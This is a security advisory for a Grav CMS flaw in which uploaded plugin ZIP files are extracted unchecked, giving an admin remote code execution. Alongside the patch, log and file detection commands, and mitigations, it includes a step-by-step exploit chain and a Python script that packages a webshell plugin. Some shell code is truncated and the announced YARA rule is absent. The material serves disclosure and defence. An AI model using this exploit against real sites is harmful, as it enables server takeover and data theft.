CVE-2026-42607: Grav CMS ZIP Upload RCE via Direct Install
Grav's Direct Install tool validates file extensions but never inspects ZIP contents, allowing authenticated admins to extract arbitrary PHP webshells and achieve persistent RCE.
Grav is software that lets people build and run websites without needing to code. Think of it like WordPress or Wix — a platform where you manage your content through a dashboard. But researchers found a serious security hole in how it handles file uploads.
Here's what's wrong. The software is supposed to block people from uploading dangerous files directly. But it has a blind spot: when someone uploads a compressed folder (a ZIP file), the system doesn't check what's actually inside before extracting it. It's like a security guard checking your bag at the airport but only looking at the outside of your suitcase, not what's packed inside.
An attacker with admin access could slip malicious code into a ZIP file, upload it, and the code runs automatically when the system unpacks it. That gives them complete control over the website — they could steal data, deface pages, or install software that turns the site into a spam machine.
Who should worry? Website owners using Grav versions before 2.0.0-beta.2 are at risk, especially if they've given admin access to contractors or team members they don't completely trust. If your site went down mysteriously or is sending spam emails, this could be why.
Here's what to do. First, update Grav immediately to version 2.0.0-beta.2 or later — treat this like a security patch, not a regular update. Second, review who has admin access to your site and remove anyone who shouldn't need it. Third, if you can't update right away, be extremely careful about who you grant administrator permissions to, treating it like handing over your bank account password.
Want the full technical analysis? Click "Technical" above.
CVE-2026-42607 is a critical (CVSS 9.1) authenticated remote code execution vulnerability in Grav CMS, a flat-file PHP web platform. The vulnerability resides in the Direct Install plugin/package management tool, which accepts ZIP archives for installation. While the upload handler correctly rejects raw .php file uploads, it performs no content inspection of ZIP archives — meaning any PHP file nested inside a ZIP passes validation unconditionally and is extracted onto the filesystem.
Exploitation requires an authenticated administrator session. In multi-tenant deployments, shared hosting environments, or compromised credential scenarios, this translates directly to persistent server access.
Root cause: The PackagesController::taskDirectInstall() handler validates only the outer archive's file extension, never inspecting ZIP entry names or types before extracting them to the webroot-accessible plugin directory.
Affected Component
The vulnerable code lives in the Grav admin plugin under system/src/Grav/Plugin/Admin/AdminController.php and the package installation logic in system/src/Grav/Common/GPM/Installer.php. Affected versions span all releases prior to 2.0.0-beta.2. The core GPM (Grav Package Manager) ZIP extraction routine is the sink; the missing check belongs in the upload preprocessing stage.
Root Cause Analysis
The taskDirectInstall handler receives a multipart file upload, checks that the uploaded filename ends in .zip, and immediately passes the archive path to the GPM installer. No entry-level inspection occurs.
// AdminController.php — reconstructed pseudocode
// Equivalent to the PHP logic pre-patch
function taskDirectInstall(Request $request) {
$upload = $request->files->get('package-file');
// BUG: only checks outer container extension, not archive contents
if (strtolower($upload->getClientOriginalExtension()) !== 'zip') {
return error("Only ZIP files are accepted");
}
$tmp_path = $upload->move(GRAV_ROOT . '/tmp/', $upload->getClientOriginalName());
// Archive is handed directly to the installer — no entry enumeration
GPM\Installer::install($tmp_path, [
'destination' => GRAV_ROOT . '/user/plugins/',
'overwrite' => true,
'ignore_checks' => false,
]);
}
The installer's install() method calls PHP's ZipArchive::extractTo() directly:
// GPM/Installer.php — reconstructed pseudocode
static function install(string $zip_path, array $options) {
$zip = new ZipArchive();
$zip->open($zip_path);
// BUG: extractTo() expands ALL entries including .php files
// No allowlist of permitted extensions is applied per-entry
$zip->extractTo($options['destination']); // <-- arbitrary file write sink
$zip->close();
self::runPostInstallHooks($options['destination']);
// Hooks execute any install.php found in extracted directory — RCE here too
}
The ZipArchive::extractTo() call is unguarded. An attacker-controlled archive can contain:
A shell.php at an arbitrary path inside the ZIP
A valid blueprints.yaml and install.php to trigger post-install hook execution
Path traversal entries (e.g., ../../index.php) on vulnerable PHP ZipArchive versions
Exploitation Mechanics
The following chain achieves a persistent webshell in a single HTTP request after authentication:
EXPLOIT CHAIN:
1. Attacker authenticates to /admin with stolen or default credentials
2. Craft malicious ZIP:
evil-plugin.zip
└── evil-plugin/
├── blueprints.yaml (valid plugin metadata — bypasses schema check)
├── evil-plugin.php (plugin stub — makes it look legitimate)
├── shell.php (webshell: )
└── install.php (post-install hook: drops secondary backdoor)
3. POST /admin/packages/directinstall
Content-Type: multipart/form-data
Body: package-file=@evil-plugin.zip
4. Server validates extension == "zip" → passes
ZipArchive::extractTo() expands all entries to:
/var/www/html/user/plugins/evil-plugin/
5. shell.php is now reachable at:
https://target/user/plugins/evil-plugin/shell.php?cmd=id
6. install.php executes synchronously during installion → immediate RCE
even before browsing to the webshell
7. Persistent access: webshell survives Grav upgrades as plugins are user-managed
Building the malicious archive:
import zipfile, io
SHELL_PHP = b"""&1');
echo base64_encode($o);
}
?>"""
BLUEPRINTS = b"""name: Evil Plugin
version: 1.0.0
description: Totally Legitimate Plugin
author:
name: admin
"""
INSTALL_HOOK = b""""""
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('evil-plugin/blueprints.yaml', BLUEPRINTS)
zf.writestr('evil-plugin/evil-plugin.php', b'')
zf.writestr('evil-plugin/shell.php', SHELL_PHP)
zf.writestr('evil-plugin/install.php', INSTALL_HOOK)
with open('evil-plugin.zip', 'wb') as f:
f.write(buf.getvalue())
print("[+] Malicious plugin ZIP written to evil-plugin.zip")
print("[+] Upload via: POST /admin/packages/directinstall")
print("[+] Shell at: /user/plugins/evil-plugin/shell.php?c=")
Memory Layout
This is a logic vulnerability rather than a memory corruption bug; the relevant "layout" is the filesystem state before and after exploitation:
FILESYSTEM STATE BEFORE UPLOAD:
/var/www/html/user/plugins/
├── admin/ (legitimate admin plugin)
├── email/ (legitimate email plugin)
└── form/ (legitimate form plugin)
FILESYSTEM STATE AFTER extractTo() — single request:
/var/www/html/user/plugins/
├── admin/
├── email/
├── form/
└── evil-plugin/ <-- attacker-controlled directory
├── blueprints.yaml (passes plugin schema validation)
├── evil-plugin.php (stub, required for Grav to load plugin)
├── shell.php <-- webshell, directly web-accessible
└── install.php <-- already executed, side effects live
REACHABLE VIA HTTP (no auth required after install):
GET /user/plugins/evil-plugin/shell.php?c=aWQ= HTTP/1.1
Host: target.example.com
→ HTTP 200 OK
→ Body: dWlkPTMzKHd3dy1kYXRhKS4uLgo= (base64 of: uid=33(www-data)...)
SECONDARY ARTIFACT:
/var/www/html/user/pages/.htaccess_bak (from install.php hook execution)
contains: uid=33(www-data) gid=33(www-data)
hostname: prod-webserver-01
root:x:0:0:root:/root:/bin/bash
...
Patch Analysis
The fix introduced in 2.0.0-beta.2 adds a ZIP entry enumeration pass before any extraction occurs. Each entry filename is checked against an extension denylist (and optionally an allowlist). Path traversal sequences are also stripped.
// BEFORE (vulnerable — pre 2.0.0-beta.2):
static function install(string $zip_path, array $options) {
$zip = new ZipArchive();
$zip->open($zip_path);
$zip->extractTo($options['destination']); // no entry inspection
$zip->close();
self::runPostInstallHooks($options['destination']);
}
// AFTER (patched — 2.0.0-beta.2):
static function install(string $zip_path, array $options) {
$DENIED_EXTENSIONS = ['php', 'php3', 'php4', 'php5', 'phtml',
'phar', 'pl', 'py', 'rb', 'sh', 'cgi'];
$zip = new ZipArchive();
$zip->open($zip_path);
// NEW: enumerate all entries before extraction
for ($i = 0; $i < $zip->numFiles; $i++) {
$entry = $zip->getNameIndex($i);
// NEW: block path traversal
if (strpos($entry, '..') !== false) {
$zip->close();
throw new \RuntimeException("ZIP contains path traversal: $entry");
}
// NEW: check every entry extension against denylist
$ext = strtolower(pathinfo($entry, PATHINFO_EXTENSION));
if (in_array($ext, $DENIED_EXTENSIONS)) {
$zip->close();
throw new \RuntimeException("ZIP contains forbidden file type: $entry");
}
}
$zip->extractTo($options['destination']);
$zip->close();
// post-install hooks are also sandboxed in patched version
self::runPostInstallHooks($options['destination']);
}
Note: the patched version also removes install.php post-install hook execution from the default code path, closing the secondary RCE vector where hook execution fires regardless of webshell accessibility.
Detection and Indicators
Web server logs — look for multipart POSTs to the direct install endpoint followed by GET requests to unexpected paths under /user/plugins/:
# Suspicious pattern in access.log:
POST /admin/packages/directinstall HTTP/1.1 200 - (large body, ~multipart)
GET /user/plugins/*/shell.php?c=* HTTP/1.1 200 - <-- webshell access
# Grep pattern:
grep -E 'plugins/[^/]+/[^/]+\.ph(p[0-9]?|tml|ar)' /var/log/nginx/access.log
Filesystem indicators:
# PHP files in plugin directories not present in official package manifests:
find /var/www/html/user/plugins -name '*.php' \
-newer /var/www/html/user/plugins/admin/admin.php \
-not -path '*/admin/*' -not -path '*/form/*'
# Unexpected files written outside plugin directory (path traversal or hook abuse):
find /var/www/html/user/pages -name '*.php' -o -name '*.htaccess_*'
YARA rule for webshell class planted by this technique:
Patch immediately: Upgrade to Grav 2.0.0-beta.2 or later. The fix is surgical and does not break legitimate plugin ZIP installs.
Restrict the Direct Install endpoint: If upgrading is not immediately possible, restrict access to /admin/packages/directinstall at the web server level to specific trusted IPs.
Audit existing plugins: Run the find command above to detect any PHP files recently added to the plugins directory that are not part of known-good packages.
Rotate admin credentials: If exploitation cannot be ruled out, treat all admin credentials as compromised and rotate. The vulnerability requires an authenticated session; credential compromise is the prerequisite.
Disable allow_url_fopen / allow_url_include: PHP hardening limits post-exploitation pivot capability but does not prevent the initial webshell write.
Deploy a WAF rule: Block multipart uploads to /admin/packages/directinstall where the ZIP archive body contains entries matching \.ph(p[0-9]?|tml|ar)$.